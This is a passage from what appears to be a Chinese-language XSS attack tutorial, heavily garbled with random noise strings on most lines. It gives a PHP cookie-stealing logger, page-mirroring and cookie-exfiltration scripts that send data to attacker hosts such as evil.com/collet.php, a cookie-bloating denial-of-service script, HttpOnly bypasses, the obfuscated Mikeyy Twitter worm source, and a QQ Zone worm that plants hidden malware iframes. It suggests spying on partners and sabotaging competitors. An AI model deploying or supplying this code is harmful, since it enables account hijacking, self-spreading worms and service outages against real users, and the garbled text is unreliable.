& S% m$ a: L7 ~2 {+ t" c0 n; k U0 v. U8 L6 {
alert(/ok/);
0 J. t( i+ ]+ _' V) m7 U* h8 {+ o+ O+ a- w y! Z3 s# c; n5 x
} % j+ q' a# h& l# s# |
9 g+ r4 b, Q8 E2 X . }4 L; \2 l2 r) k
( t0 t1 R+ H5 z$ s. A7 H# a
doMyAjax('administrator','administrator@alibaba[1].txt'); ! z# B3 `1 D7 s- l9 B5 e9 C
5 K2 W1 L4 q9 [6 b 0 f0 X7 `" h& B( T! g
9 _: |$ K5 c k. M</script>
4 H* N4 H8 D4 _6 `! c3 T/ ^5 C; [% A7 Z9 n* m
" L1 E* D! s% I; I
8 j/ o. L4 W. K/ I' A2 ]
6 O0 q) ^! J- P6 r4 B0 S+ k2 \7 w X( p
, @* e# f/ `' U1 T' J% G+ a% M0 Ga.php
: B; C) ~8 q0 g* X0 z/ _; |3 V! q; e+ d. F
- ^. H6 r; \' Q5 X
" M0 f" U0 T7 T' U- `<?php / e2 Y% H2 O9 @
6 }" Y6 W9 {! [, y+ s- D
l* R2 P) E7 r7 d. T% Y+ M7 b$ f2 h0 n- ]6 P4 K' v& n7 W
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 0 A* |: Y! g6 I7 m
# ?8 [& K* c. O- s. I' o, V
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 5 O' r& ^ \( b8 e
/ v4 L. E" u& a5 F# n: \% Q ; F, r A; `: u" `
# k3 J+ r4 |5 \
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 1 e- `' g0 l+ J' R( o5 Y% |
- y9 S. ^& m. \" ~& Y/ Pfwrite($fp,$_GET["cookie"]); / r3 ]6 {4 A* M5 m L
( H! U4 t4 }9 [) s/ C$ q( D
fclose($fp);
/ P# ~! t/ u* A6 m4 Z
F9 j; E( w" b. P6 m?> % m* P4 M; L/ j7 C4 ~) c
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
. V6 W: z7 S% f9 f4 l- l) N/ \1 ?. Z& i3 `% Z6 B; ]) H, R
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.2 [4 j2 k0 d) u8 ?* F4 Q/ P/ u" x
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
# o0 `5 q! m$ {% n9 e, t! s
" R1 t2 U3 U# x+ \" c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);& Z1 n5 s" g' l" _- u
1 H4 ~: } C4 D' h1 F9 b
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
1 Z1 @9 l* t$ I2 K. ~% V6 T4 M, s9 c# q" [9 F
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);& ]" S% I+ d$ p3 C& l4 s
& W9 r9 U; L# `: C1 ]
function getURL(s) {
; z6 J6 r" ]! n0 t9 K
" p4 B, e, ]( {5 }, v7 Pvar image = new Image();
" q: S9 x% D% ]/ n9 a% x3 U
: `( l2 s0 @" ?7 Himage.style.width = 0;
' ?/ l/ r; T3 s* W6 I& a" |2 w
/ C$ L# F" Z- j1 F! C: B# W" Wimage.style.height = 0;5 t, ]# A7 J$ q! q/ P# ]
2 P. T+ X* ?$ s y* J
image.src = s;
; [/ e6 f2 ~% j! z) N& a" Z# c& B \" a% O l3 z; d* T
}
6 g4 r3 L; [; @0 x3 V) \4 b" B- Z! V9 B
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);' P8 P" F' z4 V
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: y. b7 I$ g4 P- T9 J这里引用大风的一段简单代码:<script language="javascript">6 C7 v W6 i) Q* [6 e0 V2 p6 Y
3 f+ x i( h7 T0 [var metastr = "AAAAAAAAAA"; // 10 A0 q( I+ H, e' Z! t3 g
# K/ ~7 u4 R5 |0 Hvar str = "";( P6 i& n6 h$ m1 G: |
y5 c8 n$ {8 m: {
while (str.length < 4000){
+ x3 |, P& @# n# h7 s6 O J" V1 h! _
& g% J8 r4 [# a! C' b4 b8 T& [ str += metastr;
. V/ `' w1 n) t4 X
! \% Z0 F& Q/ I' B$ r2 n9 r( l}8 c9 K: u; a7 F# L$ h
/ S; p6 h _4 |
& B& v0 a0 Q7 x8 b& I# [+ z5 S4 n- l( O: }. F" j4 b
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS) i& B/ J& I3 u
; P; s/ s+ Z, B; n</script>2 J+ V2 [3 m1 m+ z% [# r' {
' ~. l$ D9 ^ T2 M& l5 C& Z. W
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html6 p4 l; b. K! \2 N+ J
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.5 y4 k J7 }$ N2 H+ \. T* N% @- n
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
5 e3 v2 H% _# T0 B1 F w2 {3 }: @9 G4 e1 b5 e. G
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.0 T6 }3 p. c/ |# Z. M8 {5 {
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.. d0 I+ F w1 k$ O4 {3 }
7 Y, v5 U: B4 P5 @% I4 z
# S& }0 q2 z9 J9 y k; ?% H1 k( g7 Q) X I' X
3 E! J9 f8 h- a6 r# y% A: Z' N/ ~2 {1 W% s5 \& l0 ~
- s4 e9 s2 ?$ s* w: X( _* Z' i(III) Http only bypass 与 补救对策: N: u/ s4 V% ]: g5 U+ p1 h7 A
5 C) h) S" ~* o4 _" C: a4 I什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
) Y9 W$ @. [; T: a& Z' S1 l. B以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
: x. S$ i6 |- N8 s' k6 K
/ N8 v C5 l3 i* @<!--
2 A& s6 u: {; u3 C3 Y
8 ~0 W3 M8 a. n) P# Vfunction normalCookie() { ; [3 ~1 f1 ]. o1 ?: O+ y
) @% C1 ?3 g- q# E
document.cookie = "TheCookieName=CookieValue_httpOnly"; 5 U, M6 j& ~% L/ k# w! n, E
3 O: H7 {! g- i2 N8 n
alert(document.cookie);
% H: k& {( v% H& Q8 y8 _$ j% b# Y
" r$ q1 b' C$ v: V- H}6 z, b! e0 l4 a5 U/ u: P
: g4 n/ J' }: W
& S; N, M- q! a' I
2 \3 M9 g" _. P, S9 Y5 E# A( {* s2 R; ?3 c/ N% ?
3 ~ f/ ]" p" j3 h
function httpOnlyCookie() {
4 ]+ `: Q& v5 H8 `* p9 S
) f! N' K6 F5 {( n# ` Gdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; 5 w+ V% h. p4 }9 {( F- o, ~/ u {+ |
- k' x- G' P, r; s3 H: E# K* m
alert(document.cookie);}
6 T! Z3 G/ j" R0 C2 P! ^" N0 `$ J' L. V9 ^7 ?
b/ K4 y& D5 x6 ?% y" Z$ J
- v' V( J. n( l! ]8 g$ w l8 x' D% f% `//-->3 f& Y/ r& H4 s% M; n7 T( Z
" U# M. c) V' g+ `+ d1 p
</script>' R, R% o& }* X( D! q3 G
3 m7 z; W% _2 b% p3 P! \% ~3 C
# L Y p1 @: Q+ {" B/ b1 Z$ J4 D K$ l6 ^
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>4 {7 w" k. N$ Y( G* q
# b& j' i2 @1 F0 N, z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>$ h; P) \" Q) T1 Y" Z; |8 c
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>& j- K) Z: \( h6 b9 y6 J% R Z
$ O- T% F& U: o* H1 W
E2 G3 P& N( ?3 r3 R
$ A: F# @2 f1 e! d+ vvar request = false;
& W [, V) y' a7 r. @$ V
4 `- [3 v9 c$ o# u- H if(window.XMLHttpRequest) { V4 u2 k& N; t8 u3 x/ `
- f5 f+ V3 S @4 n request = new XMLHttpRequest();
/ k" n9 S5 R0 K5 u! I
3 H; v; L8 [! c" v' p8 X if(request.overrideMimeType) {
/ T" ]8 ?$ ~9 J5 @9 F. @, h
4 f8 v: o) j( R1 K6 ^ request.overrideMimeType('text/xml');' R. X% S" b- x' M0 @
2 V6 V/ u% o1 d& D) s4 _
}4 Y) G/ c* c3 J% b( |
8 x0 ^1 |. k e0 f4 b) W2 Y } else if(window.ActiveXObject) {
6 V9 M \; E4 I' s+ ~. e! @2 l2 n- V: F! X h2 b
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];( S- ?# B* }9 E1 z2 C h0 ]
/ q9 `2 s' y6 K/ u1 V for(var i=0; i<versions.length; i++) {
0 c. Y" @7 J& P& [* p: K
# } t- O& u2 ?: O4 a) `7 y, K/ f) c try {5 {9 Y v% r/ C" ?
# z( ^$ ^+ ^! y; C/ D% ] request = new ActiveXObject(versions);6 J$ k3 L7 p; P* S8 n4 ~. m
/ U N- J. k) I4 O2 D } catch(e) {}5 ]! e) c) }2 b5 d! m# ^# p
3 o' t. y( p$ ]+ K0 m: \( _# P }
4 |$ J* {: A c; U
6 ?# |) t7 Y/ V }# H3 d9 _! R/ w6 a# f
# A% A+ w3 h' Y4 ^
xmlHttp=request;2 ]& j8 {( Q1 m `; Q* ]: E$ q8 u
1 \( \ R# B. |* T8 X+ @% h4 uxmlHttp.open("TRACE","http://www.vul.com",false);
% \) @' s4 Q) F8 E
& _# c Q' H& T( l P0 sxmlHttp.send(null);
# S" D$ l$ T& Z$ J) J; d6 a/ q/ i5 o; Y6 W$ ^# [7 D: a4 o( C. p
xmlDoc=xmlHttp.responseText;
' @5 q5 C1 A! m) G4 ]7 \5 G
' H2 u# w, N2 ]alert(xmlDoc);. r* X/ I5 M# \* S- G# b. l: t
4 n8 Q8 M& P- @8 Z; }: N- _% H
</script>
$ ~2 V% B: b! K* g* t0 j. s复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>4 V g* i- L; H* O8 @9 _" R
: Q: R9 }: H* r, n( E& i; p, Cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# I( h; ]7 S& h- E$ P5 N* s( o
0 ?4 g- C! m5 E8 u7 s' |& B$ T/ h. tXmlHttp.open("GET","http://www.google.com",false);
4 ]7 e7 s: Y- g7 C: ~
' z$ T2 @/ R$ ?8 Q) f; |XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");- ^$ q4 S* f4 I
( ?, ^3 _ Y9 D+ sXmlHttp.send(null);; g0 g J# h! q! R6 x4 r6 t* v
7 n* x' o0 ^8 Y2 r0 n# M; tvar resource=xmlHttp.responseText3 H8 u% P, ?8 q4 V/ s
3 _- q0 F% o7 A9 K; d
resource.search(/cookies/);( t; {4 I0 b) f
+ ~" O" i) x* w7 p$ m......................
; G& s$ L3 R3 B C# ~5 }8 L" i! F- q0 q* x$ o
</script>
$ i! v* ~1 q8 f; R' }) x
1 h6 w* I" ?4 |3 w9 w; E
1 M, K7 J6 f' `+ |9 ^/ s* ~/ G" _. t1 s7 F4 k$ G
5 m4 H$ F- ?+ ~9 \3 r: ~: @8 N- m% }0 `1 X! P x, N
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求% v/ E" e; K* k2 y
& E0 H. X z' {* K[code]4 c9 h8 m8 V8 t* i S. I6 K
3 E% h/ e! A9 W, D/ c J/ m/ R
RewriteEngine On- X( t, @ H6 r; F- Q
, y' D0 Q' _) Y2 m5 T2 e2 \RewriteCond %{REQUEST_METHOD} ^TRACE, J% L4 A# z( X! C) i" G
. u) B" Z& I0 q B7 uRewriteRule .* - [F]
& p3 s5 l# n: }8 D; y* \% q9 M3 R! m$ A
( |# V5 m# \0 z
2 f! u! h7 h# W# }9 SSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
) ^- a2 R( j9 g5 ~% ?2 C& B( F* X3 A @& H! ?2 J
acl TRACE method TRACE
& N$ w% ~! D+ N0 L) o/ u$ A: d
! f/ {4 Z) c0 u( K, P3 b( v+ Q...$ g+ s- ?# ^: o" Z2 i
0 [2 F9 L7 Y% X; Z# _( Thttp_access deny TRACE
6 D3 Z" n/ A9 L) U O: _: L复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>2 d; x0 v; w% q& J2 X5 X# H1 k" I- Z
4 h) N8 n( {1 g Q* o" Tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
1 t2 P& H5 Q+ r6 G" ^
# [9 }- K+ l% g B) DXmlHttp.open("GET","http://www.google.com",false);" m6 S/ \& _" \- Y- u
# q5 o! |% W, |6 y* v$ OXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");& M& m6 P: D+ r! Z! H
$ J$ L& ? Z' V: L8 {; F4 Y s' b
XmlHttp.send(null);7 v" ~+ I! h( t+ o( x, w0 a
9 S8 s6 A; q) T! f
</script>3 G, `9 ^9 ?! s1 o. K* ? u
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
1 k* P# _7 V& O5 U9 E$ _& D+ T; D1 K; Z& U6 H5 x
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
/ L+ J: }6 h0 Q- M% Q* A+ n ~( P$ J; k1 O+ u
% s& ^; B4 \. \4 F& z. P( g3 c8 p% N& X5 E) y4 H% f7 t
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
9 `! b; c! h n. k/ H7 I* u& t$ ]) ?# s2 `* J( Z1 \! R6 |
XmlHttp.send(null);
. x# x4 m$ X- l9 b# ]: Q" d
: T+ g! r7 L0 J; w3 L<script>
2 K% `9 ~! V0 R' u- o; [复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
8 J7 T% {4 A. B* V$ {( [复制代码案例:Twitter 蠕蟲五度發威
$ s% P% R: j" H. R第一版:5 f4 \; \" y5 f7 @- R5 L H
下载 (5.1 KB)4 g* i8 D9 A0 @
5 h3 B1 D; K- P; K' u- Y k
6 天前 08:27
) h2 f/ F5 T8 \+ U8 ]; }" F6 m5 R! j0 i& ^( o* P
第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; . d: t7 q9 Y/ F2 A+ r, |
. n& o! V$ [0 c8 v) T( |
2. . M& H) p, d6 }4 F1 ^; h
+ O' j9 S% W* s
3. function XHConn(){
2 u1 q) f6 O8 \8 \# A' e, O: U9 p3 ^- v. M4 s: M
4. var _0x6687x2,_0x6687x3=false; + z+ M! |: C$ P b
+ c# ^1 q. h X9 C1 r) i
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ; v/ b- j3 \4 j7 O! K
* r7 Z; O; U. } 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ) V! x* e. z' K( B; k3 k& ]
* X4 u7 L# [2 \5 W, s( p5 z, g: Y3 |/ _
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
9 S3 o( N: w8 F) I) D6 O
1 l5 i6 C" t- C1 y7 g 8. catch(e) { _0x6687x2=false; }; }; };
8 `# @: R: g! i% i5 C# b4 B复制代码第六版: 1. function wait() { % U/ t& v! y. y
G9 s$ }. k2 f8 y' m 2. var content = document.documentElement.innerHTML;
/ j- E- B) Q$ P9 k
t2 V* p" w. u3 M; ]9 X* e* B 3. var tmp_cookie=document.cookie;
/ p1 a' W4 l! B
) e8 c, G' u; j 4. var tmp_posted=tmp_cookie.match(/posted/); ; p2 {' y* u5 E) y, X4 w( q6 }( G
+ o! y; V. A5 C# E
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); # u# K3 V% B5 ~7 m
2 a% `2 L( P' c) ^& @" g
6. var authtoken=authreg.exec(content);
' p7 K+ h" H5 P- a k" v
0 ^- u6 `- e/ k: n2 P: E6 _ 7. var authtoken=authtoken[1];
. w u8 K0 |5 V8 k4 f4 x5 ~
5 H! F9 D5 D. a" [- {7 t" U) m 8. var randomUpdate= new Array(); % ^' B! g# p2 W2 Q. A0 }
: `, C0 j9 I4 H+ x, n+ H
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
0 g3 p& ?% m! ]% C# L2 ]; ~3 I" B; Q0 y# d
10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
+ {/ }5 c: n: H# T; o( g# @3 ^. U1 x6 F; ~
11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
2 q8 @3 N% L- l2 a
1 r+ S0 S* L' g, D; Y 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
" D2 M- c. O$ \, a& |. h3 u; I
. \) g5 `4 o: k/ _( O J2 i8 R# J 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; ( a$ E- o; b5 N2 ?
( O% l9 \# Q6 H' G ] 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 7 `$ c6 k" T7 v
3 ]1 \9 L' Z4 ?& }* u( N7 C5 z8 E% Y3 P
15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 7 |, Z2 \; a% h
$ I' h+ x# D' {$ w. {" d. x 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 7 h& t- W; g! ^) x/ q2 z: `, O
0 C J9 |+ d* J 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 6 _) U2 f, I1 r3 Z& v! V4 S9 e
/ |# r2 E. Y4 u. s0 o& W# M( w
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
w- d0 O/ N, U4 P3 q+ I0 u% o( d3 [
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
" Y% s$ y7 W* e
4 c! U7 |* `/ J$ N5 _' y 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
0 N/ G9 ~ x: y; J: j3 Z
% d( R( G" J% Y0 {# n7 B: n) c7 K 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
# z$ @8 m' ^8 k' o2 b P4 l- O" z, c5 u7 _) R$ d. E) f
22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
' U4 T) _1 V5 @7 J8 A4 F. _. f4 t3 i7 H- s% Y9 r6 J, r& o: g
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
% o, O: w* `& a, b# O2 c, y; z, y3 A) I; U; P
24. , F1 S/ Z( n) O7 b; B
& n& @3 ?0 p: T
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
1 ^) \, @& a G( I5 G( Z# w
3 U1 Q1 L5 u6 d% U6 r$ G 26. var updateEncode=urlencode(randomUpdate[genRand]); " G; M6 [( t/ F" ?+ d* j
& \/ T A5 n, B3 M8 b c. ^
27.
3 K& I2 L7 S2 Z$ W% n. F3 U& @: M/ ]. k6 V2 f
28. var ajaxConn= new XHConn();
+ D( q6 L/ _& O, X, {2 P5 J) H+ B8 f
) r! w b6 U* n$ h0 j" b" {9 E 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 5 Q1 c6 `3 _* \) D) _. q4 H) I
. G" Y* d/ w! z8 R5 V; Q$ i. ~4 @
30. var _0xf81bx1c="Mikeyy"; # G) j* x+ F8 N2 V
9 y; z9 ?5 \4 J( l! u$ l5 l
31. var updateEncode=urlencode(_0xf81bx1c); $ H6 X3 m# I- i6 J+ W
0 f/ R9 S2 K T# q
32. var ajaxConn1= new XHConn(); ( R( Z; K7 x; c4 M9 K% m; K
2 n3 ?. ]1 d: G# c0 ^6 o 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); - H x0 p! J& }. O& A7 _1 B
7 ^/ n3 g" k, x7 O( i( N& W7 D% l
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; ' K' n8 M H8 c4 S
' \. p: o3 u6 F/ y/ R5 Z 35. var XSS=urlencode(genXSS); 5 _+ c0 _( z1 ]. `$ c: ?$ M
; n& \. ^0 B# v' y8 ~ 36. var ajaxConn2= new XHConn();
8 Q4 k, \8 X! ~
3 m9 P1 U$ h, }! Q% h 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
0 j+ n+ i7 |, B, t+ {# N3 V! G; s: D) ?9 l
38. " g% O: s3 N, [2 B( g3 s
8 j. g$ ~0 U# ^1 j" M 39. } ; 5 F- K" y8 E8 U
* W- w7 ^1 x; V+ G! p
40. setTimeout(wait(),5250); 8 C+ N+ m. m3 _- V$ u
复制代码QQ空间XSSfunction killErrors() {return true;}
3 [1 N: j% Y. g7 ~0 X& N. J. c
+ o5 m5 E! z# `/ E) F% r8 Vwindow.onerror=killErrors;
9 s) W: H+ m1 H: ~) o% O$ `2 s4 O: Y0 y
1 g& p& ~+ P2 d0 l& b' R$ N
+ v: I8 u3 F+ c0 N# Z) Wvar shendu;shendu=4;# ? c! q: v/ c2 Q
+ a4 }4 f4 F' E7 _
//---------------global---v------------------------------------------
3 B8 H7 g, B/ b
2 |: {4 U& Y- F* H* x9 n//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
I7 F4 o- t. {& O8 V Z4 N X; z) Q& E# T' h1 H
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
! H4 b0 K( o# a2 C' E: R: Q/ n2 |' v. n5 l* F, }
var myblogurl=new Array();var myblogid=new Array();; q* [: o6 r( I9 `( E1 {1 r
, C* l$ f! ~% X* K# K: P
var gurl=document.location.href;
8 d& g: R9 w! }. M3 d
" ]! h( o$ G% c4 r1 _9 @1 T" A var gurle=gurl.indexOf("com/");& C9 V! ]) K: t3 g" U! `
: J& w3 G* b* J# v4 ?2 }% Q
gurl=gurl.substring(0,gurle+3);
4 K$ ?: m3 t9 y& E1 b6 A: y3 b) b
: P4 F" ]" s' F$ X$ ~ var visitorID=top.document.documentElement.outerHTML;+ h. H4 T+ Q) q% k7 Q2 Z6 e
2 T+ {+ L' U, r6 h0 D
var cookieS=visitorID.indexOf("g_iLoginUin = ");$ {. ?+ R$ G! A$ F2 T4 t6 i/ D6 z
' z/ y6 A1 A$ Y3 Y: c' V visitorID=visitorID.substring(cookieS+14);
' M H) x8 a4 h7 f) E8 H. @& W/ u# k8 u( [* y
cookieS=visitorID.indexOf(",");; s! B4 x: C8 p
3 T/ B( T8 I" H' t M: Q2 X1 d. @0 W
visitorID=visitorID.substring(0,cookieS);/ r, G) ?9 ^ Q& ~1 @8 u
J7 B5 ?/ y: @, U9 n get_my_blog(visitorID);% W' s- d1 L) h1 ~4 _- z
- }- ~8 n3 @& e
DOshuamy();
# @) {& x) k6 X; |( D. }0 r* R8 [
; L* F0 S) i4 W- `; r9 _. ?. K P! l8 R- \8 N2 C
//挂马
0 _$ t, l5 c2 L6 ^9 c- _: t
- @8 R% F/ F9 ]$ Bfunction DOshuamy(){
; |! u" _; ?; Z6 ]) {2 h6 `& p
2 Q, h4 x. w* G' `: x8 }var ssr=document.getElementById("veryTitle");: L3 a' ? i2 m* G! h1 q) S% Q
& `, e) c; n( c7 n! a
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
" b0 y4 ^' g$ Y4 E3 \8 V* x% F! P; f1 t1 d/ V
}! }* h/ ` `3 M% v
& i2 `5 w3 t2 L1 m b
' Z/ F1 f+ e8 T. Y5 C' Y; I* a$ @3 F
) ?$ r f }& u+ `3 Z2 @//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?- T1 K- [8 Y! E" Z
) g5 M8 ~! W3 s7 r2 B$ z, V% u
function get_my_blog(visitorID){5 e) }' ?, w5 R, V4 [4 ~
+ l8 `1 v( `6 `; S userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
% _/ ^8 r4 K* H& f( H! }4 e$ p; e( q- ^% q( J, [: C9 ]6 f
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
, Z' f& U, B# I8 E) f
# U# r0 x0 w" N" H2 f6 d6 {' P* p if(xhr){ //成功就执行下面的1 U* G# w1 O6 {$ E9 ~
! u( x6 T z( r, }
xhr.open("GET",userurl,false); //以GET方式打开定义的URL% v7 M; F% A5 P2 Q2 B2 u5 b0 S# y
9 e4 l |: y$ z- G$ }5 [
xhr.send();guest=xhr.responseText;
I4 s. Z. L2 g, K
% f. [6 _* `) o4 Q get_my_blogurl(guest); //执行这个函数; m1 ]" c: N* \6 a. y# t6 ]# F! S. K. I6 p
( `' X+ v( A$ }: I2 X }
& ^6 u4 D! g: d0 v- e
& m4 X9 T% v4 A! w# r}7 b/ [+ w! U+ u
- v9 J5 \$ ?8 E, x& \4 G! V
; u" ]* D* ~9 e
& s2 x+ y. J- \) H8 Y4 J//这里似乎是判断没有登录的: j C J3 f( f( j) f
8 h1 j4 Y( q, S9 u8 i5 f% }
function get_my_blogurl(guest){
, v5 O* M$ [1 C
6 p' I# J- }0 }# P var mybloglist=guest;, i9 t* g" Q3 @3 D! T- X- n) b
/ R8 f8 h8 }* y% O! a6 S. V" ^: U
var myurls;var blogids;var blogide;+ u1 m$ c" V5 ?. v8 Z* w8 p
( y3 Y; [1 W9 O7 B. \% H
for(i=0;i<shendu;i++){
* M0 L2 d' \* A$ Q& M
8 m, W+ s; X& c0 P. E4 S5 O myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了, ?! z8 k% N$ u9 Y9 K4 P6 L
D! s d0 U8 {0 J& }) F
if(myurls!=-1){ //找到了就执行下面的* C4 p- \( ~' `8 w, ]( r
2 u* m1 o# ~6 `/ f) y2 v; D- C
mybloglist=mybloglist.substring(myurls+11);
: ^4 y& ~5 F& \( i1 X
